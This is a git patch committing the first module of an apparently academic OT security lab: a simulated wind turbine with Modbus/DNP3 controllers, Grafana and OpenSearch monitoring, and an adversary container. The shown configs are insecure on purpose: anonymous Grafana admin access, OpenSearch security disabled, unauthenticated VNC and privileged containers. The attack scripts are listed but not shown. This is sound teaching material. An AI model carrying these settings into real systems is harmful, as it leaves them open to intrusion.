From 31dab09aee538f38b066daf144d480eecd8ec1ae Mon Sep 17 00:00:00 2001 From: keith <13208865+dnkcom@users.noreply.github.com> Date: Sat, 2 Nov 2024 10:55:18 -0600 Subject: [PATCH] initial commit of module-0 --- .gitignore | 2 + .gitpod.yml | 28 + README.md | 22 +- configs/docker/tigervnc-adversary.conf | 8 + configs/docker/tigervnc-wireshark.conf | 8 + configs/docker/wireshark.conf | 9 + configs/grafana/dashboards.yml | 6 + configs/grafana/grafana.ini | 4 + configs/grafana/opensearch-data-source.yml | 13 + configs/grafana/plugins/.gitkeep | 0 configs/grafana/turbine-dashboard.json | 845 + configs/opensearch/opensearch.yml | 3 + configs/ot-sim/anemometer.xml | 84 + configs/ot-sim/blade-1.xml | 26 + configs/ot-sim/blade-2.xml | 26 + configs/ot-sim/blade-3.xml | 26 + configs/ot-sim/main-controller.xml | 238 + configs/ot-sim/node-red.json | 512 + configs/ot-sim/weather.csv | 42001 +++++++++++++++++++ configs/ot-sim/yaw-controller.xml | 47 + docker-compose.yml | 132 + scripts/aitm.py | 50 + scripts/attack.sh | 11 + 23 files changed, 44092 insertions(+), 9 deletions(-) create mode 100644 .gitignore create mode 100644 .gitpod.yml create mode 100644 configs/docker/tigervnc-adversary.conf create mode 100644 configs/docker/tigervnc-wireshark.conf create mode 100644 configs/docker/wireshark.conf create mode 100644 configs/grafana/dashboards.yml create mode 100644 configs/grafana/grafana.ini create mode 100644 configs/grafana/opensearch-data-source.yml create mode 100644 configs/grafana/plugins/.gitkeep create mode 100644 configs/grafana/turbine-dashboard.json create mode 100644 configs/opensearch/opensearch.yml create mode 100644 configs/ot-sim/anemometer.xml create mode 100644 configs/ot-sim/blade-1.xml create mode 100644 configs/ot-sim/blade-2.xml create mode 100644 configs/ot-sim/blade-3.xml create mode 100644 configs/ot-sim/main-controller.xml create mode 100644 configs/ot-sim/node-red.json create mode 100644 configs/ot-sim/weather.csv create mode 100644 configs/ot-sim/yaw-controller.xml create mode 100644 docker-compose.yml create mode 100644 scripts/aitm.py create mode 100755 scripts/attack.sh diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6c81e0a --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +configs/grafana/plugins/* +!configs/grafana/plugins/.gitkeep diff --git a/.gitpod.yml b/.gitpod.yml new file mode 100644 index 0000000..372bb59 --- /dev/null +++ b/.gitpod.yml @@ -0,0 +1,28 @@ +tasks: +- init: | + git lfs pull + + curl -L -o /tmp/opensearch.zip "https://grafana.com/api/plugins/grafana-opensearch-datasource/versions/2.13.0/download?os=linux&arch=amd64" + unzip -d configs/grafana/plugins /tmp/opensearch.zip + + docker compose pull wireshark main-ctlr opensearch grafana +- command: | + docker compose up -d + +ports: +- port: 1880 + name: HMI + description: Turbine HMI (at /ui path) +- port: 3000 + name: Grafana + description: Turbine Status Dashboard +- port: 8080 + name: Wireshark + description: Wireshark GUI (at /vnc.html path) +- port: 8090 + name: Adversary + description: Adversary Desktop (at /vnc.html path) + +vscode: + extensions: + - ms-azuretools.vscode-docker diff --git a/README.md b/README.md index e28ac97..c38a84e 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,18 @@ -# OT Security Lab: UIUC CS 460 / ECE 419 - Security Laboratory +# Modules -Welcome to the second OT Security Lab for UIUC course CS 460 / EC419 - Security -Laboratory in December 2024. +* [module-0](#previous-wind-turbine-module-0) -This lab has 4 separate modules, each building on the previous one, in separate -branches. +# Previous Wind Turbine (module-0) -To start, create a Gitpod account (if needed) and deploy the initial Gitpod -workspace using the following URL. +In this module: -https://gitpod.io/#https://github.com/patsec/uiuc-farm/tree/module-0 +* You will re-familiarize yourself with the wind turbine from the last lab. +Recall, it has an adversary container and a Grafana container for ground truth. -Follow the README instructions in the workspace. +In the next module, you will set up this wind turbine in a larger wind farm. +Change the two `{{FIX_ME}}` entries in the URL below with the values provided +by your instructor. Then, start the next branch. + +> There will be a Q&A session at the module’s end. Stop the current Gitpod +> workspace and deploy the next branch in Gitpod using this URL: +> https://gitpod.io/#HOSTNAME={{FIX_ME}},OTSIM_TAILSCALE_AUTHKEY={{FIX_ME}}/https://github.com/patsec/uiuc-farm/tree/module-1 diff --git a/configs/docker/tigervnc-adversary.conf b/configs/docker/tigervnc-adversary.conf new file mode 100644 index 0000000..515faf3 --- /dev/null +++ b/configs/docker/tigervnc-adversary.conf @@ -0,0 +1,8 @@ +[program:x11] +priority=0 +command=/usr/bin/Xtigervnc -desktop "Adversary" -localhost -rfbport 5900 -SecurityTypes None -AlwaysShared -AcceptKeyEvents -AcceptPointerEvents -AcceptSetDesktopSize -SendCutText -AcceptCutText :1 +autorestart=true +stdout_logfile=/dev/fd/1 +stdout_logfile_maxbytes=0 +redirect_stderr=true + diff --git a/configs/docker/tigervnc-wireshark.conf b/configs/docker/tigervnc-wireshark.conf new file mode 100644 index 0000000..6326ad9 --- /dev/null +++ b/configs/docker/tigervnc-wireshark.conf @@ -0,0 +1,8 @@ +[program:x11] +priority=0 +command=/usr/bin/Xtigervnc -desktop "Wireshark" -localhost -rfbport 5900 -SecurityTypes None -AlwaysShared -AcceptKeyEvents -AcceptPointerEvents -AcceptSetDesktopSize -SendCutText -AcceptCutText :1 +autorestart=true +stdout_logfile=/dev/fd/1 +stdout_logfile_maxbytes=0 +redirect_stderr=true + diff --git a/configs/docker/wireshark.conf b/configs/docker/wireshark.conf new file mode 100644 index 0000000..b9dcd77 --- /dev/null +++ b/configs/docker/wireshark.conf @@ -0,0 +1,9 @@ +[program:wireshark] +priority=1 +environment=DISPLAY=:1 +command=/usr/bin/wireshark +autorestart=false +stdout_logfile=/dev/fd/1 +stdout_logfile_maxbytes=0 +redirect_stderr=true + diff --git a/configs/grafana/dashboards.yml b/configs/grafana/dashboards.yml new file mode 100644 index 0000000..6617210 --- /dev/null +++ b/configs/grafana/dashboards.yml @@ -0,0 +1,6 @@ +apiVersion: 1 +providers: + - name: default + type: file + options: + path: /var/lib/grafana/dashboards diff --git a/configs/grafana/grafana.ini b/configs/grafana/grafana.ini new file mode 100644 index 0000000..0837258 --- /dev/null +++ b/configs/grafana/grafana.ini @@ -0,0 +1,4 @@ +[auth.anonymous] +enabled = true +org_name = Main Org. +org_role = Admin diff --git a/configs/grafana/opensearch-data-source.yml b/configs/grafana/opensearch-data-source.yml new file mode 100644 index 0000000..f4326c1 --- /dev/null +++ b/configs/grafana/opensearch-data-source.yml @@ -0,0 +1,13 @@ +apiVersion: 1 +datasources: +- name: WindTurbine + isDefault: true + type: grafana-opensearch-datasource + access: proxy + url: http://opensearch:9200 + jsonData: + database: '[wind-turbine-]YYYY.MM.DD' + interval: 'Daily' + timeField: '@timestamp' + flavor: 'opensearch' + version: '2.10.0' diff --git a/configs/grafana/plugins/.gitkeep b/configs/grafana/plugins/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/configs/grafana/turbine-dashboard.json b/configs/grafana/turbine-dashboard.json new file mode 100644 index 0000000..3abff62 --- /dev/null +++ b/configs/grafana/turbine-dashboard.json @@ -0,0 +1,845 @@ +{ + "annotations": { + "list": [ + { + "builtIn": 1, + "datasource": { + "type": "grafana", + "uid": "-- Grafana --" + }, + "enable": true, + "hide": true, + "iconColor": "rgba(0, 211, 255, 1)", + "name": "Annotations & Alerts", + "target": { + "limit": 100, + "matchAny": false, + "tags": [], + "type": "dashboard" + }, + "type": "dashboard" + } + ] + }, + "editable": true, + "fiscalYearStartMonth": 0, + "graphTooltip": 0, + "links": [], + "liveNow": false, + "panels": [ + { + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 12, + "w": 12, + "x": 0, + "y": 0 + }, + "id": 18, + "options": { + "inlineEditing": true, + "root": { + "background": { + "color": { + "fixed": "transparent" + } + }, + "border": { + "color": { + "fixed": "dark-green" + } + }, + "constraint": { + "horizontal": "left", + "vertical": "top" + }, + "elements": [ + { + "background": { + "color": { + "fixed": "transparent" + } + }, + "border": { + "color": { + "fixed": "dark-green" + } + }, + "config": { + "rpm": { + "field": "mw" + } + }, + "constraint": { + "horizontal": "left", + "vertical": "top" + }, + "name": "Element 1", + "placement": { + "height": 202, + "left": 123, + "top": 16, + "width": 140 + }, + "type": "windTurbine" + }, + { + "background": { + "color": { + "fixed": "#D9D9D9" + } + }, + "border": { + "color": { + "fixed": "dark-green" + } + }, + "config": { + "align": "center", + "color": { + "fixed": "#000000" + }, + "size": 18, + "text": { + "field": "feathered", + "fixed": "", + "mode": "field" + }, + "valign": "middle" + }, + "constraint": { + "horizontal": "left", + "vertical": "top" + }, + "name": "Element 2", + "placement": { + "height": 40, + "left": 298, + "top": 185, + "width": 103 + }, + "type": "metric-value" + }, + { + "background": { + "color": { + "fixed": "transparent" + } + }, + "border": { + "color": { + "fixed": "dark-green" + } + }, + "config": { + "align": "center", + "color": { + "fixed": "rgb(204, 204, 220)" + }, + "size": 16, + "text": { + "fixed": "Feathered:" + }, + "valign": "middle" + }, + "constraint": { + "horizontal": "left", + "vertical": "top" + }, + "name": "Element 3", + "placement": { + "height": 50, + "left": 288, + "top": 144, + "width": 100 + }, + "type": "text" + }, + { + "background": { + "color": { + "fixed": "#D9D9D9" + } + }, + "border": { + "color": { + "fixed": "dark-green" + } + }, + "config": { + "align": "center", + "color": { + "fixed": "#000000" + }, + "size": 20, + "text": { + "field": "mw", + "fixed": "", + "mode": "field" + }, + "valign": "middle" + }, + "constraint": { + "horizontal": "left", + "vertical": "top" + }, + "name": "Element 6", + "placement": { + "height": 50, + "left": 299, + "top": 79, + "width": 102 + }, + "type": "metric-value" + }, + { + "background": { + "color": { + "fixed": "transparent" + } + }, + "border": { + "color": { + "fixed": "dark-green" + } + }, + "config": { + "align": "center", + "color": { + "fixed": "rgb(204, 204, 220)" + }, + "size": 16, + "text": { + "fixed": "Power Output (MW)" + }, + "valign": "middle" + }, + "constraint": { + "horizontal": "left", + "vertical": "top" + }, + "name": "Element 7", + "placement": { + "height": 50, + "left": 292, + "top": 35, + "width": 158 + }, + "type": "text" + } + ], + "name": "Element 1673713212165", + "placement": { + "height": 100, + "left": 0, + "top": 0, + "width": 100 + }, + "type": "frame" + }, + "showAdvancedTypes": true + }, + "pluginVersion": "10.2.0", + "targets": [ + { + "alias": "speed", + "bucketAggs": [ + { + "field": "@timestamp", + "id": "2", + "settings": { + "interval": "auto" + }, + "type": "date_histogram" + } + ], + "datasource": { + "type": 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"refId": "C", + "timeField": "@timestamp" + } + ], + "title": "Turbine Status", + "type": "canvas" + }, + { + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "max": 360, + "min": 0, + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + }, + "unit": "degree" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 12, + "y": 0 + }, + "id": 8, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.2.0", + "targets": [ + { + "alias": "", + "bucketAggs": [ + { + "field": "@timestamp", + "id": "2", + "settings": { + "interval": "auto" + }, + "type": "date_histogram" + } + ], + "datasource": { + "type": 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"bucketAggs": [ + { + "field": "@timestamp", + "id": "2", + "settings": { + "interval": "auto" + }, + "type": "date_histogram" + } + ], + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "metrics": [ + { + "field": "value", + "id": "1", + "type": "avg" + } + ], + "query": "field:yaw.current", + "refId": "A", + "timeField": "@timestamp" + } + ], + "title": "Yaw Current", + "type": "stat" + }, + { + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "velocityms" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 12, + "y": 4 + }, + "id": 4, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.2.0", + "targets": [ + { + "alias": "", + "bucketAggs": [ + { + "field": "@timestamp", + "id": "2", + "settings": { + "interval": "auto" + }, + "type": "date_histogram" + } + ], + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "metrics": [ + { + "field": "value", + "id": "1", + "type": "avg" + } + ], + "query": "field:speed.high", + "refId": "A", + "timeField": "@timestamp" + } + ], + "title": "Wind Speed", + "type": "stat" + }, + { + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + }, + "unit": "degree" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 16, + "y": 4 + }, + "id": 10, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.2.0", + "targets": [ + { + "alias": "", + "bucketAggs": [ + { + "field": "@timestamp", + "id": "2", + "settings": { + "interval": "auto" + }, + "type": "date_histogram" + } + ], + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "metrics": [ + { + "field": "value", + "id": "1", + "type": "avg" + } + ], + "query": "field:yaw.setpoint", + "refId": "A", + "timeField": "@timestamp" + } + ], + "title": "Yaw Set-point", + "type": "stat" + }, + { + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + }, + "unit": "celsius" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 12, + "y": 8 + }, + "id": 12, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.2.0", + "targets": [ + { + "alias": "", + "bucketAggs": [ + { + "field": "@timestamp", + "id": "2", + "settings": { + "interval": "auto" + }, + "type": "date_histogram" + } + ], + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "metrics": [ + { + "field": "value", + "id": "1", + "type": "avg" + } + ], + "query": "field:temp.high", + "refId": "A", + "timeField": "@timestamp" + } + ], + "title": "Temp. (High)", + "type": "stat" + }, + { + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + }, + "unit": "pressurekpa" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 16, + "y": 8 + }, + "id": 2, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.2.0", + "targets": [ + { + "alias": "", + "bucketAggs": [ + { + "field": "@timestamp", + "id": "2", + "settings": { + "interval": "auto" + }, + "type": "date_histogram" + } + ], + "datasource": { + "type": "elasticsearch", + "uid": "P08DA8452117F90CA" + }, + "metrics": [ + { + "field": "value", + "id": "1", + "type": "avg" + } + ], + "query": "field:pressure", + "refId": "A", + "timeField": "@timestamp" + } + ], + "title": "Pressure", + "type": "stat" + } + ], + "refresh": "5s", + "schemaVersion": 38, + "tags": [], + "templating": { + "list": [] + }, + "time": { + "from": "now-1h", + "to": "now" + }, + "timepicker": {}, + "timezone": "", + "title": "Turbine", + "uid": "IUzSfUhVz", + "version": 1, + "weekStart": "" +} diff --git a/configs/opensearch/opensearch.yml b/configs/opensearch/opensearch.yml new file mode 100644 index 0000000..b6bd2ed --- /dev/null +++ b/configs/opensearch/opensearch.yml @@ -0,0 +1,3 @@ +discovery.type: single-node +network.host: 0.0.0.0 +plugins.security.disabled: true diff --git a/configs/ot-sim/anemometer.xml b/configs/ot-sim/anemometer.xml new file mode 100644 index 0000000..85f88ed --- /dev/null +++ b/configs/ot-sim/anemometer.xml @@ -0,0 +1,84 @@ + + + tcp://127.0.0.1:1234 + tcp://127.0.0.1:5678 + + + 0.0.0.0:9101 + ot-sim-message-bus {{config_file}} + ot-sim-ground-truth-module {{config_file}} + ot-sim-wind-turbine-anemometer-module {{config_file}} + ot-sim-modbus-module {{config_file}} + + + + http://opensearch:9200 + wind-turbine + + + + + + + speed.high + speed.med + speed.low + dir.high + dir.med + dir.low + temp.high + temp.low + pressure + + /etc/ot-sim/data/weather.csv + + + + 0.0.0.0:502 + +
30001
+ speed.high + -2 +
+ +
30002
+ speed.med + -2 +
+ +
30003
+ speed.low + -2 +
+ +
30004
+ dir.high + -2 +
+ +
30005
+ dir.med + -2 +
+ +
30006
+ dir.low + -2 +
+ +
30007
+ temp.high + -2 +
+ +
30008
+ temp.low + -2 +
+ +
30009
+ pressure + -2 +
+
+
diff --git a/configs/ot-sim/blade-1.xml b/configs/ot-sim/blade-1.xml new file mode 100644 index 0000000..ea5f75b --- /dev/null +++ b/configs/ot-sim/blade-1.xml @@ -0,0 +1,26 @@ + + + tcp://127.0.0.1:1234 + tcp://127.0.0.1:5678 + + + 0.0.0.0:9101 + ot-sim-message-bus {{config_file}} + ot-sim-ground-truth-module {{config_file}} + ot-sim-modbus-module {{config_file}} + + + + http://blade-3:9200 + wind-turbine + + + + + 0.0.0.0:502 + +
1
+ feathered +
+
+
diff --git a/configs/ot-sim/blade-2.xml b/configs/ot-sim/blade-2.xml new file mode 100644 index 0000000..ed0af99 --- /dev/null +++ b/configs/ot-sim/blade-2.xml @@ -0,0 +1,26 @@ + + + tcp://127.0.0.1:1234 + tcp://127.0.0.1:5678 + + + 0.0.0.0:9101 + ot-sim-message-bus {{config_file}} + ot-sim-ground-truth-module {{config_file}} + ot-sim-modbus-module {{config_file}} + + + + http://opensearch:9200 + wind-turbine + + + + + 0.0.0.0:502 + +
1
+ feathered +
+
+
diff --git a/configs/ot-sim/blade-3.xml b/configs/ot-sim/blade-3.xml new file mode 100644 index 0000000..ed0af99 --- /dev/null +++ b/configs/ot-sim/blade-3.xml @@ -0,0 +1,26 @@ + + + tcp://127.0.0.1:1234 + tcp://127.0.0.1:5678 + + + 0.0.0.0:9101 + ot-sim-message-bus {{config_file}} + ot-sim-ground-truth-module {{config_file}} + ot-sim-modbus-module {{config_file}} + + + + http://opensearch:9200 + wind-turbine + + + + + 0.0.0.0:502 + +
1
+ feathered +
+
+
diff --git a/configs/ot-sim/main-controller.xml b/configs/ot-sim/main-controller.xml new file mode 100644 index 0000000..fd86dfd --- /dev/null +++ b/configs/ot-sim/main-controller.xml @@ -0,0 +1,238 @@ + + + tcp://127.0.0.1:1234 + tcp://127.0.0.1:5678 + + + 0.0.0.0:9101 + ot-sim-message-bus {{config_file}} + ot-sim-ground-truth-module {{config_file}} + ot-sim-wind-turbine-power-output-module {{config_file}} + ot-sim-logic-module {{config_file}} + ot-sim-modbus-module {{config_file}} + ot-sim-dnp3-module {{config_file}} + ot-sim-node-red-module {{config_file}} + ot-sim-tailscale-module {{config_file}} + + + false + + + + http://opensearch:9200 + wind-turbine + + + + + + E-126/4200 + 135 + 0.15 + + speed.high + speed.med + speed.low + temp.high + temp.low + pressure + + + turbine.cut-in + turbine.cut-out + turbine.mw-output + turbine.emergency-stop + + + + + 1s + true + cut_out + target = direction > 180 ? direction - 180 : direction + 180 + error = target * dir_error + adjust = abs(target - current_yaw) > error + adjust = adjust && !feathered + yaw_setpoint = adjust ? target : yaw_setpoint + # hack to get yaw.dir-error tag published to DNP3 module + dir_error = dir_error + # hack to get turbine.emergency-stop tag published to DNP3 module + proto_emer_stop = proto_emer_stop + ]]> + + 0 + 0 + 100 + 0 + 0 + 0 + 0.04 + 0 + 0 + + + + anemometer:502 + +
30001
+ speed.high + 2 +
+ +
30002
+ speed.med + 2 +
+ +
30003
+ speed.low + 2 +
+ +
30004
+ dir.high + 2 +
+ +
30005
+ dir.med + 2 +
+ +
30006
+ dir.low + 2 +
+ +
30007
+ temp.high + 2 +
+ +
30008
+ temp.low + 2 +
+ +
30009
+ pressure + 2 +
+
+ + yaw-ctlr:502 + +
30001
+ yaw.current + 2 +
+ +
40001
+ yaw.setpoint + 2 +
+
+ + blade-1:502 + +
1
+ feathered +
+
+ + blade-2:502 + +
1
+ feathered +
+
+ + blade-3:502 + +
1
+ feathered +
+
+ + 0.0.0.0:20000 + + 1024 + 1 + +
0
+ turbine.emergency-stop + true +
+ +
0
+ yaw.dir-error + true +
+ +
0
+ yaw.current + + +
1
+ yaw.setpoint + + +
2
+ turbine.mw-output + + +
0
+ feathered + + +
3
+ speed.high + + +
4
+ speed.med + + +
5
+ speed.low + + +
6
+ dir.high + + +
7
+ dir.med + + +
8
+ dir.low + + +
9
+ temp.high + + +
10
+ temp.low + + +
11
+ pressure + +
+
+ + node-red + dark + /etc/node-red.json + + + + + +
diff --git a/configs/ot-sim/node-red.json b/configs/ot-sim/node-red.json new file mode 100644 index 0000000..259f506 --- /dev/null +++ b/configs/ot-sim/node-red.json @@ -0,0 +1,512 @@ +[ + { + "id": "e546b69bae9ae648", + "type": "tab", + "label": "Flow 1", + "disabled": false, + "info": "", + "env": [] + }, + { + "id": "d73a70f5016eddad", + "type": "ui_gauge", + "z": "e546b69bae9ae648", + "name": "", + "group": "a6dbb44b8889dd75", + "order": 1, + "width": 6, + "height": 5, + "gtype": "compass", + "title": "Wind Direction", + "label": "deg", + "format": "{{value | number:0}}", + "min": 0, + "max": "360", + "colors": [ + "#00b500", + "#e6e600", + "#ca3838" + ], + "seg1": "", + "seg2": "", + "diff": false, + "className": "", + "x": 440, + "y": 420, + "wires": [] + }, + { + "id": "4a647145a5a11780", + "type": "ui_gauge", + "z": "e546b69bae9ae648", + "name": "", + "group": "a6dbb44b8889dd75", + "order": 3, + "width": 6, + "height": 5, + "gtype": "gage", + "title": "Wind Speed", + "label": "m/s", + "format": "{{value | number:0}}", + "min": "0", + "max": "25", + "colors": [ + "#00b500", + "#e6e600", + "#ca3838" + ], + "seg1": "10", + "seg2": "20", + "diff": false, + "className": "", + "x": 430, + "y": 500, + "wires": [] + }, + { + "id": "3c8006946f0953b5", + "type": "ui_gauge", + "z": "e546b69bae9ae648", + "name": "", + "group": "a6dbb44b8889dd75", + "order": 2, + "width": 6, + "height": 5, + "gtype": "compass", + "title": "Yaw Current", + "label": "deg", + "format": "{{value | number:0}}", + "min": 0, + "max": "360", + "colors": [ + "#00b500", + "#e6e600", + "#ca3838" + ], + "seg1": "", + "seg2": "", + "diff": false, + "className": "", + "x": 430, + "y": 740, + "wires": [] + }, + { + "id": "9761670d3b860297", + "type": "ui_gauge", + "z": "e546b69bae9ae648", + "name": "", + "group": "a6dbb44b8889dd75", + "order": 4, + "width": 6, + "height": 5, + "gtype": "compass", + "title": "Yaw Set-point", + "label": "deg", + "format": "{{value | number:0}}", + "min": 0, + "max": "360", + "colors": [ + "#00b500", + "#e6e600", + "#ca3838" + ], + "seg1": "", + "seg2": "", + "diff": false, + "className": "", + "x": 440, + "y": 820, + "wires": [] + }, + { + "id": "f16c0d84ade2f992", + "type": "ot-sim in", + "z": "e546b69bae9ae648", + "tag": "turbine.mw-output", + "updates": false, + "x": 190, + "y": 900, + "wires": [ + [ + "83b2994676527c4f" + ] + ] + }, + { + "id": "e2b3bdc1febbc737", + "type": "ot-sim in", + "z": "e546b69bae9ae648", + "tag": "yaw.setpoint", + "updates": false, + "x": 170, + "y": 820, + "wires": [ + [ + "9761670d3b860297" + ] + ] + }, + { + "id": "1c330c173cc01052", + "type": "ot-sim in", + "z": "e546b69bae9ae648", + "tag": "yaw.current", + "updates": false, + "x": 170, + "y": 740, + "wires": [ + [ + "3c8006946f0953b5" + ] + ] + }, + { + "id": "28b9d15304ebdd0f", + "type": "ot-sim in", + "z": "e546b69bae9ae648", + "tag": "pressure", + "updates": false, + "x": 160, + "y": 660, + "wires": [ + [ + "7f63f423bd62ba4b" + ] + ] + }, + { + "id": "27960eb64ba88271", + "type": "ot-sim in", + "z": "e546b69bae9ae648", + "tag": "temp.high", + "updates": false, + "x": 160, + "y": 580, + "wires": [ + [ + "228fd82ea868949e" + ] + ] + }, + { + "id": "9fe88bea251c0a27", + "type": "ot-sim in", + "z": "e546b69bae9ae648", + "tag": "speed.high", + "updates": false, + "x": 160, + "y": 500, + "wires": [ + [ + "4a647145a5a11780" + ] + ] + }, + { + "id": "24c46e82133f954d", + "type": "ot-sim in", + "z": "e546b69bae9ae648", + "tag": "dir.high", + "updates": false, + "x": 150, + "y": 420, + "wires": [ + [ + "d73a70f5016eddad" + ] + ] + }, + { + "id": "83b2994676527c4f", + "type": "ui_text", + "z": "e546b69bae9ae648", + "group": "a6dbb44b8889dd75", + "order": 6, + "width": 6, + "height": 1, + "name": "", + "label": "Power Output (MW)", + "format": "{{msg.payload | number:2}}", + "layout": "row-spread", + "className": "", + "style": false, + "font": "", + "fontSize": 16, + "color": "#000000", + "x": 450, + "y": 900, + "wires": [] + }, + { + "id": "7f63f423bd62ba4b", + "type": "ui_text", + "z": "e546b69bae9ae648", + "group": "a6dbb44b8889dd75", + "order": 7, + "width": 6, + "height": 1, + "name": "", + "label": "Absolute Pressure (kPa)", + "format": "{{msg.payload | number:2}}", + "layout": "row-spread", + "className": "", + "style": false, + "font": "", + "fontSize": 16, + "color": "#000000", + "x": 470, + "y": 660, + "wires": [] + }, + { + "id": "228fd82ea868949e", + "type": "ui_text", + "z": "e546b69bae9ae648", + "group": "a6dbb44b8889dd75", + "order": 5, + "width": 6, + "height": 1, + "name": "", + "label": "Temperature (˚C)", + "format": "{{msg.payload | number:1}}", + "layout": "row-spread", + "className": "", + "style": false, + "font": "", + "fontSize": 16, + "color": "#000000", + "x": 440, + "y": 580, + "wires": [] + }, + { + "id": "425cab794597fc68", + "type": "ot-sim out", + "z": "e546b69bae9ae648", + "tag": "turbine.emergency-stop", + "x": 610, + "y": 1240, + "wires": [] + }, + { + "id": "02acd3ecce65f475", + "type": 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"updates": false, + "x": 160, + "y": 980, + "wires": [ + [ + "bd8d6b2427847213" + ] + ] + }, + { + "id": "056ed1331b3e9867", + "type": "ui_text", + "z": "e546b69bae9ae648", + "group": "a6dbb44b8889dd75", + "order": 8, + "width": 6, + "height": 1, + "name": "", + "label": "Feathered", + "format": "{{msg.payload}}", + "layout": "row-spread", + "className": "", + "style": false, + "font": "", + "fontSize": 16, + "color": "#000000", + "x": 420, + "y": 980, + "wires": [] + }, + { + "id": "bd8d6b2427847213", + "type": "function", + "z": "e546b69bae9ae648", + "name": "Convert integer", + "func": "if (Number(msg.payload) == 0) {\n msg.payload = \"no\"\n} else {\n msg.payload = \"yes\"\n}\nreturn msg;", + "outputs": 1, + "timeout": 0, + "noerr": 0, + "initialize": "", + "finalize": "", + "libs": [], + "x": 300, + "y": 1040, + "wires": [ + [ + "056ed1331b3e9867" + ] + ] + }, + { + "id": "8aa64b2de6f110c3", + "type": "ui_spacer", + "z": "e546b69bae9ae648", + "name": "spacer", + "group": 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b/configs/ot-sim/yaw-controller.xml new file mode 100644 index 0000000..3f9182c --- /dev/null +++ b/configs/ot-sim/yaw-controller.xml @@ -0,0 +1,47 @@ + + + tcp://127.0.0.1:1234 + tcp://127.0.0.1:5678 + + + 0.0.0.0:9101 + ot-sim-message-bus {{config_file}} + ot-sim-ground-truth-module {{config_file}} + ot-sim-modbus-module {{config_file}} + ot-sim-logic-module {{config_file}} + + + + http://opensearch:9200 + wind-turbine + + + + + 0.0.0.0:502 + +
30001
+ yaw.current + -2 +
+ +
40001
+ yaw.setpoint + -2 +
+
+ + 1s + true + current_yaw ? 1 : -1 + current_yaw = adjust ? current_yaw + (dir * 0.1) : current_yaw + ]]> + + 0 + 0 + + +
diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..5fbff99 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,132 @@ +services: + wireshark: + build: + context: . + dockerfile: ./Dockerfile.tools + image: ghcr.io/patsec/uiuc-farm/tools:main + init: true + privileged: true # required for capturing traffic on host interfaces + network_mode: host + volumes: + - ./configs/docker/tigervnc-wireshark.conf:/etc/supervisor/conf.d/tigervnc-wireshark.conf + - ./configs/docker/wireshark.conf:/etc/supervisor/conf.d/wireshark.conf + adversary: + build: + context: . + dockerfile: ./Dockerfile.tools + image: ghcr.io/patsec/uiuc-farm/tools:main + init: true + privileged: true # required for iptables to work +# sysctls: # uncomment this section if Docker host doesn't already have IP forwarding enabled +# - net.ipv4.ip_forward=1 +# - net.ipv6.conf.all.forwarding=1 +# - net.ipv4.conf.all.send_redirects=0 + volumes: + - 